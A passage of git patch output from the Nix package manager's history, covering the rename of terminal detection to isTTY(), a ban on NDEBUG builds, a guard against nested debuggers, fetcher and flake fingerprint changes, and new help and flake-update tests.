isatty(STDOUT_FILENO); + bool tty = shouldANSI(); RunPager pager; Table table; diff --git a/src/nix/main.cc b/src/nix/main.cc index 5af5f2e41..c88b35005 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -16,6 +16,7 @@ #include "loggers.hh" #include "markdown.hh" #include "memory-input-accessor.hh" +#include "terminal.hh" #include #include @@ -375,7 +376,9 @@ void mainWrapped(int argc, char * * argv) setLogFormat("bar"); settings.verboseBuild = false; - if (isatty(STDERR_FILENO)) { + + // If on a terminal, progress will be displayed via progress bars etc. (thus verbosity=notice) + if (nix::shouldANSI()) { verbosity = lvlNotice; } else { verbosity = lvlInfo; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index fabec5d88..f96381408 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -11,6 +11,7 @@ #include "legacy.hh" #include "posix-source-accessor.hh" #include "misc-store-flags.hh" +#include "terminal.hh" #include @@ -188,7 +189,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) Finally f([]() { stopProgressBar(); }); - if (isatty(STDERR_FILENO)) + if (shouldANSI()) startProgressBar(); auto store = openStore(); From 8c1eeb4681dc2acc60f23341d79470a0340ccdf5 Mon Sep 17 00:00:00 2001 From: Ivan Shapovalov Date: Fri, 1 Mar 2024 23:13:00 +0100 Subject: [PATCH 0164/1251] treewide: shouldANSI() -> isTTY() --- src/libcmd/markdown.cc | 2 +- src/libmain/progress-bar.cc | 2 +- src/libutil/logging.cc | 2 +- src/libutil/terminal.cc | 2 +- src/libutil/terminal.hh | 2 +- src/nix-env/nix-env.cc | 2 +- src/nix/main.cc | 2 +- src/nix/prefetch.cc | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/libcmd/markdown.cc b/src/libcmd/markdown.cc index a4e3c5a77..d62ff0d96 100644 --- a/src/libcmd/markdown.cc +++ b/src/libcmd/markdown.cc @@ -50,7 +50,7 @@ std::string renderMarkdownToTerminal(std::string_view markdown) if (!rndr_res) throw Error("allocation error while rendering Markdown"); - return filterANSIEscapes(std::string(buf->data, buf->size), !shouldANSI()); + return filterANSIEscapes(std::string(buf->data, buf->size), !isTTY()); #else return std::string(markdown); #endif diff --git a/src/libmain/progress-bar.cc b/src/libmain/progress-bar.cc index afba29e1b..ce45eae2b 100644 --- a/src/libmain/progress-bar.cc +++ b/src/libmain/progress-bar.cc @@ -537,7 +537,7 @@ public: Logger * makeProgressBar() { - return new ProgressBar(shouldANSI()); + return new ProgressBar(isTTY()); } void startProgressBar() diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 89fbd194a..83db492ca 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -52,7 +52,7 @@ public: : printBuildLogs(printBuildLogs) { systemd = getEnv("IN_SYSTEMD") == "1"; - tty = shouldANSI(); + tty = isTTY(); } bool isVerbose() override { diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc index 8febc8771..2ff923405 100644 --- a/src/libutil/terminal.cc +++ b/src/libutil/terminal.cc @@ -7,7 +7,7 @@ namespace nix { -bool shouldANSI() +bool isTTY() { return isatty(STDERR_FILENO) && getEnv("TERM").value_or("dumb") != "dumb" diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh index 9cb191308..9d8d0c743 100644 --- a/src/libutil/terminal.hh +++ b/src/libutil/terminal.hh @@ -8,7 +8,7 @@ namespace nix { * Determine whether ANSI escape sequences are appropriate for the * present output. */ -bool shouldANSI(); +bool isTTY(); /** * Truncate a string to 'width' printable characters. If 'filterAll' diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index b42fa06bc..0fa9501c1 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1090,7 +1090,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) return; } - bool tty = shouldANSI(); + bool tty = isTTY(); RunPager pager; Table table; diff --git a/src/nix/main.cc b/src/nix/main.cc index c88b35005..22f9e7931 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -378,7 +378,7 @@ void mainWrapped(int argc, char * * argv) settings.verboseBuild = false; // If on a terminal, progress will be displayed via progress bars etc. (thus verbosity=notice) - if (nix::shouldANSI()) { + if (nix::isTTY()) { verbosity = lvlNotice; } else { verbosity = lvlInfo; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index f96381408..b64e6d899 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -189,7 +189,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) Finally f([]() { stopProgressBar(); }); - if (shouldANSI()) + if (isTTY()) startProgressBar(); auto store = openStore(); From c6f0407103ff64e86b5cc340980c010d49b31e8a Mon Sep 17 00:00:00 2001 From: Ivan Shapovalov Date: Fri, 1 Mar 2024 23:17:44 +0100 Subject: [PATCH 0165/1251] libutil/terminal: cache isTTY() --- src/libutil/terminal.cc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc index 2ff923405..096252f03 100644 --- a/src/libutil/terminal.cc +++ b/src/libutil/terminal.cc @@ -9,9 +9,12 @@ namespace nix { bool isTTY() { - return isatty(STDERR_FILENO) + static const bool tty = + isatty(STDERR_FILENO) && getEnv("TERM").value_or("dumb") != "dumb" && !(getEnv("NO_COLOR").has_value() || getEnv("NOCOLOR").has_value()); + + return tty; } std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int width) From 2625e9fb0a787809e492cacdab6707b1e4863adf Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Fri, 1 Mar 2024 13:07:01 -0800 Subject: [PATCH 0166/1251] Ban building Nix with NDEBUG When reviewing old PRs, I found that #9997 adds some code to ensure one particular assert is always present. But, removing asserts isn't something we do in our own release builds either in the flake here or in nixpkgs, and is plainly a bad idea that increases support burden, especially if other distros make bad choices of build flags in their Nix packaging. For context, the assert macro in the C standard is defined to do nothing if NDEBUG is set. There is no way in our build system to set -DNDEBUG without manually adding it to CFLAGS, so this is simply a configuration we do not use. Let's ban it at compile time. I put this preprocessor directive in src/libutil.cc because it is not obvious where else to put it, and it seems like the most logical file since you are not getting a usable nix without it. --- src/libutil/util.cc | 4 ++++ tests/unit/libstore/outputs-spec.cc | 2 -- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libutil/util.cc b/src/libutil/util.cc index 75bb31c9b..06124bf15 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -9,6 +9,10 @@ #include +#ifdef NDEBUG +#error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)." +#endif + namespace nix { void initLibUtil() { diff --git a/tests/unit/libstore/outputs-spec.cc b/tests/unit/libstore/outputs-spec.cc index 456196be1..63cde681b 100644 --- a/tests/unit/libstore/outputs-spec.cc +++ b/tests/unit/libstore/outputs-spec.cc @@ -6,11 +6,9 @@ namespace nix { -#ifndef NDEBUG TEST(OutputsSpec, no_empty_names) { ASSERT_DEATH(OutputsSpec::Names { std::set { } }, ""); } -#endif #define TEST_DONT_PARSE(NAME, STR) \ TEST(OutputsSpec, bad_ ## NAME) { \ From b1ad729add0714cd123ea96497adf0ef14f683c4 Mon Sep 17 00:00:00 2001 From: Olmo Kramer Date: Sun, 3 Mar 2024 13:51:40 +0100 Subject: [PATCH 0167/1251] Add test for `nix flake update` with multiple inputs --- tests/functional/flakes/flakes.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 7506b6b3b..427290883 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -564,6 +564,16 @@ nix flake lock "$flake3Dir" nix flake update flake2/flake1 --flake "$flake3Dir" [[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]] +# Test updating multiple inputs. +nix flake lock "$flake3Dir" --override-input flake1 flake1/master/$hash1 +nix flake lock "$flake3Dir" --override-input flake2/flake1 flake1/master/$hash1 +[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]] +[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]] + +nix flake update flake1 flake2/flake1 --flake "$flake3Dir" +[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]] +[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]] + # Test 'nix flake metadata --json'. nix flake metadata "$flake3Dir" --json | jq . From e6b9432542673a451b058ad2f0a7f1b4c20d3fbf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 12:48:21 +0100 Subject: [PATCH 0168/1251] Add release note --- doc/manual/rl-next/arg-from-file.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 doc/manual/rl-next/arg-from-file.md diff --git a/doc/manual/rl-next/arg-from-file.md b/doc/manual/rl-next/arg-from-file.md new file mode 100644 index 000000000..5849b11a3 --- /dev/null +++ b/doc/manual/rl-next/arg-from-file.md @@ -0,0 +1,9 @@ +--- +synopsis: "CLI options `--arg-from-file` and `--arg-from-stdin`" +prs: 10122 +--- + +The new CLI option `--arg-from-file` *name* *path* passes the contents +of file *path* as a string value via the function argument *name* to a +Nix expression. Similarly, the new option `--arg-from-stdin` *name* +reads the contents of the string from standard input. From cbfd211b39fe053bb8a7ff416a7bf1c09b3d1fbf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 12:49:32 +0100 Subject: [PATCH 0169/1251] Fix build --- src/libcmd/common-eval-args.hh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 7548bd3b7..25ce5b9da 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -6,6 +6,8 @@ #include "common-args.hh" #include "search-path.hh" +#include + namespace nix { class Store; From 4b15ca2ffb710d96eb34ac47683abdd85d236f92 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 4 Mar 2024 16:07:03 +0100 Subject: [PATCH 0170/1251] add tests for showing help --- package.nix | 2 + tests/functional/help.sh | 79 +++++++++++++++++++++++++++++++++++++++ tests/functional/local.mk | 3 +- 3 files changed, 83 insertions(+), 1 deletion(-) create mode 100644 tests/functional/help.sh diff --git a/package.nix b/package.nix index 20796a386..a90973b4c 100644 --- a/package.nix +++ b/package.nix @@ -24,6 +24,7 @@ , libgit2 , libseccomp , libsodium +, man , lowdown , mdbook , mdbook-linkcheck @@ -213,6 +214,7 @@ in { git mercurial openssh + man # for testing `nix-* --help` ] ++ lib.optionals (doInstallCheck || enableManual) [ jq # Also for custom mdBook preprocessor. ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux diff --git a/tests/functional/help.sh b/tests/functional/help.sh new file mode 100644 index 000000000..74531c5d0 --- /dev/null +++ b/tests/functional/help.sh @@ -0,0 +1,79 @@ +source common.sh + +clearStore + +# test help output + +nix-build --help +nix-shell --help + +nix-env --help +nix-env --install --help +nix-env --upgrade --help +nix-env --uninstall --help +nix-env --set --help +nix-env --set-flag --help +nix-env --query --help +nix-env --switch-profile --help +nix-env --list-generations --help +nix-env --delete-generations --help +nix-env --switch-generation --help +nix-env --rollback --help + +nix-store --help +nix-store --realise --help +nix-store --serve --help +nix-store --gc --help +nix-store --delete --help +nix-store --query --help +nix-store --add --help +nix-store --add-fixed --help +nix-store --verify --help +nix-store --verify-path --help +nix-store --repair-path --help +nix-store --dump --help +nix-store --restore --help +nix-store --export --help +nix-store --import --help +nix-store --optimise --help +nix-store --read-log --help +nix-store --dump-db --help +nix-store --load-db --help +nix-store --print-env --help +nix-store --generate-binary-cache-key --help + +nix-channel --help +nix-collect-garbage --help +nix-copy-closure --help +nix-daemon --help +nix-hash --help +nix-instantiate --help +nix-prefetch-url --help + +function subcommands() { + jq -r ' +def recurse($prefix): + if .commands then + .commands | to_entries[] | .key as $k | + ($prefix + " " + $k) as $newPrefix | + if .value | has("commands") then + (.value | recurse($newPrefix)) + else + $newPrefix + end + else + $prefix + end; + +.args.commands | to_entries[] | .key as $cmd | + if .value | has("commands") then + (.value | recurse($cmd)) + else + $cmd + end +' +} + +nix __dump-cli | subcommands | while IFS= read -r cmd; do + nix $cmd --help +done diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 18eb887cd..e36323a45 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -129,7 +129,8 @@ nix_tests = \ read-only-store.sh \ nested-sandboxing.sh \ impure-env.sh \ - debugger.sh + debugger.sh \ + help.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh From 4ee54339191a968991cbe89bdfb80659096421b0 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 5 Feb 2024 13:18:16 -0800 Subject: [PATCH 0171/1251] Add release note --- doc/manual/rl-next/forbid-nested-debuggers.md | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 doc/manual/rl-next/forbid-nested-debuggers.md diff --git a/doc/manual/rl-next/forbid-nested-debuggers.md b/doc/manual/rl-next/forbid-nested-debuggers.md new file mode 100644 index 000000000..a5924b24f --- /dev/null +++ b/doc/manual/rl-next/forbid-nested-debuggers.md @@ -0,0 +1,32 @@ +--- +synopsis: Nested debuggers are no longer supported +prs: 9920 +--- + +Previously, evaluating an expression that throws an error in the debugger would +enter a second, nested debugger: + +``` +nix-repl> builtins.throw "what" +error: what + + +Starting REPL to allow you to inspect the current state of the evaluator. + +Welcome to Nix 2.18.1. Type :? for help. + +nix-repl> +``` + +Now, it just prints the error message like `nix repl`: + +``` +nix-repl> builtins.throw "what" +error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "what" + | ^ + + error: what +``` From 14b0356dc5897e4acb02ff18f06c919ffcf8f146 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Fri, 2 Feb 2024 20:07:42 -0800 Subject: [PATCH 0172/1251] Forbid nested debuggers --- src/libcmd/repl.cc | 8 +------- src/libexpr/eval.cc | 19 +++++++++++++++++-- src/libexpr/eval.hh | 2 ++ src/libutil/fmt.hh | 2 -- 4 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 8b83608fa..75f20d635 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -336,13 +336,7 @@ ReplExitStatus NixRepl::mainLoop() printMsg(lvlError, e.msg()); } } catch (EvalError & e) { - // in debugger mode, an EvalError should trigger another repl session. - // when that session returns the exception will land here. No need to show it again; - // show the error for this repl session instead. - if (state->debugRepl && !state->debugTraces.empty()) - showDebugTrace(std::cout, state->positions, state->debugTraces.front()); - else - printMsg(lvlError, e.msg()); + printMsg(lvlError, e.msg()); } catch (Error & e) { printMsg(lvlError, e.msg()); } catch (Interrupted & e) { diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index f2bbf20bb..722ff6908 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -762,10 +762,24 @@ std::unique_ptr mapStaticEnvBindings(const SymbolTable & st, const Stati return vm; } +/** + * Sets `inDebugger` to true on construction and false on destruction. + */ +class DebuggerGuard { + bool & inDebugger; +public: + DebuggerGuard(bool & inDebugger) : inDebugger(inDebugger) { + inDebugger = true; + } + ~DebuggerGuard() { + inDebugger = false; + } +}; + void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & expr) { - // double check we've got the debugRepl function pointer. - if (!debugRepl) + // Make sure we have a debugger to run and we're not already in a debugger. + if (!debugRepl || inDebugger) return; auto dts = @@ -792,6 +806,7 @@ void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & auto se = getStaticEnv(expr); if (se) { auto vm = mapStaticEnvBindings(symbols, *se.get(), env); + DebuggerGuard _guard(inDebugger); auto exitStatus = (debugRepl)(ref(shared_from_this()), *vm); switch (exitStatus) { case ReplExitStatus::QuitAll: diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 01abd4eb1..368bb17b3 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -153,6 +153,7 @@ struct DebugTrace { bool isError; }; + class EvalState : public std::enable_shared_from_this { public: @@ -222,6 +223,7 @@ public: */ ReplExitStatus (* debugRepl)(ref es, const ValMap & extraEnv); bool debugStop; + bool inDebugger = false; int trylevel; std::list debugTraces; std::map> exprEnvs; diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index e996f4ba2..77843f863 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -8,7 +8,6 @@ namespace nix { -namespace { /** * A helper for writing `boost::format` expressions. * @@ -42,7 +41,6 @@ void setExceptions(boost::format & fmt) boost::io::too_many_args_bit ^ boost::io::too_few_args_bit); } -} /** * A helper for writing a `boost::format` expression to a string. From 2e8f4faa100101e258b786494bac0996601cb4a1 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 4 Mar 2024 09:32:02 -0800 Subject: [PATCH 0173/1251] Fix build Not sure why that was giving a duplicate symbol error, or why marking it inline fixes it. Here it is! --- src/libutil/fmt.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index 77843f863..abbaf95b6 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -34,7 +34,7 @@ inline void formatHelper(F & f, const T & x, const Args & ... args) /** * Set the correct exceptions for `fmt`. */ -void setExceptions(boost::format & fmt) +inline void setExceptions(boost::format & fmt) { fmt.exceptions( boost::io::all_error_bits ^ From 29049d26533fb9077b0214fad276804784e02e45 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:21:31 +0100 Subject: [PATCH 0174/1251] Implement getFingerprint() for store paths --- src/libfetchers/path.cc | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 276fd1b36..8231492e8 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -147,6 +147,20 @@ struct PathInputScheme : InputScheme return {std::move(*storePath), input}; } + std::optional getFingerprint(ref store, const Input & input) const override + { + /* If this path is in the Nix store, use the hash of the + store object and the subpath. */ + auto path = getAbsPath(input); + try { + auto [storePath, subPath] = store->toStorePath(path.abs()); + auto info = store->queryPathInfo(storePath); + return fmt("path:%s:%s", info->narHash.to_string(HashFormat::Base16, false), subPath); + } catch (Error &) { + return std::nullopt; + } + } + std::optional experimentalFeature() const override { return Xp::Flakes; From 6558da45f5497eb54cc42866f81a3660862056ff Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:22:23 +0100 Subject: [PATCH 0175/1251] LockedFlake::getFingerprint(): Use Input::getFingerprint() --- src/libcmd/installables.cc | 4 ++-- src/libexpr/flake/flake.cc | 15 +++++++-------- src/libexpr/flake/flake.hh | 2 +- 3 files changed, 10 insertions(+), 11 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index d87d7b9b1..6db9bf9a1 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -443,10 +443,10 @@ ref openEvalCache( EvalState & state, std::shared_ptr lockedFlake) { - auto fingerprint = lockedFlake->getFingerprint(); + auto fingerprint = lockedFlake->getFingerprint(state.store); return make_ref( evalSettings.useEvalCache && evalSettings.pureEval - ? std::optional { std::cref(fingerprint) } + ? fingerprint : std::nullopt, state, [&state, lockedFlake]() diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index fd9341504..4a69bb381 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -926,18 +926,17 @@ static RegisterPrimOp r4({ } -Fingerprint LockedFlake::getFingerprint() const +std::optional LockedFlake::getFingerprint(ref store) const { + if (lockFile.isUnlocked()) return std::nullopt; + + auto fingerprint = flake.lockedRef.input.getFingerprint(store); + if (!fingerprint) return std::nullopt; + // FIXME: as an optimization, if the flake contains a lock file // and we haven't changed it, then it's sufficient to use // flake.sourceInfo.storePath for the fingerprint. - return hashString(HashAlgorithm::SHA256, - fmt("%s;%s;%d;%d;%s", - flake.path.to_string(), - flake.lockedRef.subdir, - flake.lockedRef.input.getRevCount().value_or(0), - flake.lockedRef.input.getLastModified().value_or(0), - lockFile)); + return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%s", *fingerprint, flake.lockedRef.subdir, lockFile)); } Flake::~Flake() { } diff --git a/src/libexpr/flake/flake.hh b/src/libexpr/flake/flake.hh index 48907813f..1ba085f0f 100644 --- a/src/libexpr/flake/flake.hh +++ b/src/libexpr/flake/flake.hh @@ -119,7 +119,7 @@ struct LockedFlake */ std::map, SourcePath> nodePaths; - Fingerprint getFingerprint() const; + std::optional getFingerprint(ref store) const; }; struct LockFlags From 8a6ef3bae525e04b4cf5f460edf5a8e49cf8928f Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 4 Mar 2024 19:25:28 +0100 Subject: [PATCH 0176/1251] less scary jq MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- tests/functional/help.sh | 22 ++++++---------------- 1 file changed, 6 insertions(+), 16 deletions(-) diff --git a/tests/functional/help.sh b/tests/functional/help.sh index 74531c5d0..868f5d2e9 100644 --- a/tests/functional/help.sh +++ b/tests/functional/help.sh @@ -53,24 +53,14 @@ nix-prefetch-url --help function subcommands() { jq -r ' def recurse($prefix): - if .commands then - .commands | to_entries[] | .key as $k | - ($prefix + " " + $k) as $newPrefix | - if .value | has("commands") then - (.value | recurse($newPrefix)) + to_entries[] | + ($prefix + [.key]) as $newPrefix | + (if .value | has("commands") then + ($newPrefix, (.value.commands | recurse($newPrefix))) else $newPrefix - end - else - $prefix - end; - -.args.commands | to_entries[] | .key as $cmd | - if .value | has("commands") then - (.value | recurse($cmd)) - else - $cmd - end + end); +.args.commands | recurse([]) | join(" ") ' } From 8d23847571c2921558cbcc7593de19e7a2edd944 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 4 Mar 2024 19:25:44 +0100 Subject: [PATCH 0177/1251] fix indentation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- tests/functional/local.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/local.mk b/tests/functional/local.mk index e36323a45..8bb8e3600 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -130,7 +130,7 @@ nix_tests = \ nested-sandboxing.sh \ impure-env.sh \ debugger.sh \ - help.sh + help.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh From 2306e967674a7016c556e90e94e5f1e80171892a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:30:38 +0100 Subject: [PATCH 0178/1251] nix profile upgrade: Always upgrade unlocked flakerefs The "lockedRef" field is a misnomer, since it can be unlocked (e.g. for a dirty Git workdir). In that case, `nix profile upgrade` needs to assume that the package can have changed, and perform an upgrade. --- src/nix/profile.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d39a24d36..60b58a78b 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -648,7 +648,9 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf assert(infop); auto & info = *infop; - if (element.source->lockedRef == info.flake.lockedRef) continue; + if (info.flake.lockedRef.input.isLocked() + && element.source->lockedRef == info.flake.lockedRef) + continue; printInfo("upgrading '%s' from flake '%s' to '%s'", element.source->attrPath, element.source->lockedRef, info.flake.lockedRef); From 32bf39c73a9681317c4288aab16038dc6b401900 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:37:43 +0100 Subject: [PATCH 0179/1251] nix flake metadata: Don't show locked URL if it's not locked This is the case for e.g. dirty Git workdirs, where we would get $ nix flake metadata Resolved URL: git+file:///home/eelco/Dev/nix-master Locked URL: git+file:///home/eelco/Dev/nix-master --- src/nix/flake.cc | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 5fc3f4166..3cd702254 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -219,6 +219,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["resolvedUrl"] = flake.resolvedRef.to_string(); j["resolved"] = fetchers::attrsToJSON(flake.resolvedRef.toAttrs()); j["url"] = flake.lockedRef.to_string(); // FIXME: rename to lockedUrl + // "locked" is a misnomer - this is the result of the + // attempt to lock. j["locked"] = fetchers::attrsToJSON(flake.lockedRef.toAttrs()); if (auto rev = flake.lockedRef.input.getRev()) j["revision"] = rev->to_string(HashFormat::Base16, false); @@ -235,9 +237,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON logger->cout( ANSI_BOLD "Resolved URL:" ANSI_NORMAL " %s", flake.resolvedRef.to_string()); - logger->cout( - ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", - flake.lockedRef.to_string()); + if (flake.lockedRef.input.isLocked()) + logger->cout( + ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", + flake.lockedRef.to_string()); if (flake.description) logger->cout( ANSI_BOLD "Description:" ANSI_NORMAL " %s", From 9ee590e11301cda2b5d6341fb77f13369c3107e6 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 21:54:35 +0100 Subject: [PATCH 0180/1251] PosixSourceAccessor::cachedLstat(): Use absolute path Using the relative path can cause collisions between cache entries for PosixSourceAccessors with different roots. --- src/libutil/posix-source-accessor.cc | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index f8ec7fc6b..e91943c4c 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -85,16 +85,18 @@ bool PosixSourceAccessor::pathExists(const CanonPath & path) std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) { - static Sync>> _cache; + static Sync>> _cache; + + auto absPath = makeAbsPath(path); { auto cache(_cache.lock()); - auto i = cache->find(path); + auto i = cache->find(absPath); if (i != cache->end()) return i->second; } std::optional st{std::in_place}; - if (::lstat(makeAbsPath(path).c_str(), &*st)) { + if (::lstat(absPath.c_str(), &*st)) { if (errno == ENOENT || errno == ENOTDIR) st.reset(); else @@ -103,7 +105,7 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa auto cache(_cache.lock()); if (cache->size() >= 16384) cache->clear(); - cache->emplace(path, st); + cache->emplace(absPath, st); return st; } From 4967c5ff6ba96b27ad1d855b3b32712c0fc3dfcf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 22:24:12 +0100 Subject: [PATCH 0181/1251] Fix macOS build --- src/libutil/posix-source-accessor.cc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index e91943c4c..41c2db59a 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -85,9 +85,11 @@ bool PosixSourceAccessor::pathExists(const CanonPath & path) std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) { - static Sync>> _cache; + static Sync>> _cache; - auto absPath = makeAbsPath(path); + // Note: we convert std::filesystem::path to Path because the + // former is not hashable on libc++. + Path absPath = makeAbsPath(path); { auto cache(_cache.lock()); From 0e07f81d2ba532e140539e91b57d6f85c952fee2 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 22:17:24 +0100 Subject: [PATCH 0182/1251] Fetcher cleanups * Convert all InputScheme::fetch() methods to getAccessor(). * Add checkLocks() method for checking lock attributes. * Rename fetch() to fetchToStore(). --- src/libexpr/flake/flakeref.cc | 2 +- src/libexpr/primops/fetchMercurial.cc | 3 +- src/libexpr/primops/fetchTree.cc | 2 +- src/libfetchers/fetchers.cc | 107 +++++++++++++++----------- src/libfetchers/fetchers.hh | 25 +++++- src/libfetchers/git.cc | 2 - src/libfetchers/github.cc | 2 - src/libfetchers/indirect.cc | 2 +- src/libfetchers/mercurial.cc | 26 ++++--- src/libfetchers/path.cc | 6 +- src/nix/flake.cc | 2 +- src/nix/registry.cc | 4 +- 12 files changed, 112 insertions(+), 71 deletions(-) diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc index 86a0982f3..6fe64fd72 100644 --- a/src/libexpr/flake/flakeref.cc +++ b/src/libexpr/flake/flakeref.cc @@ -274,7 +274,7 @@ FlakeRef FlakeRef::fromAttrs(const fetchers::Attrs & attrs) std::pair FlakeRef::fetchTree(ref store) const { - auto [storePath, lockedInput] = input.fetch(store); + auto [storePath, lockedInput] = input.fetchToStore(store); return {std::move(storePath), FlakeRef(std::move(lockedInput), subdir)}; } diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index bb029b5b3..bfc19115a 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ 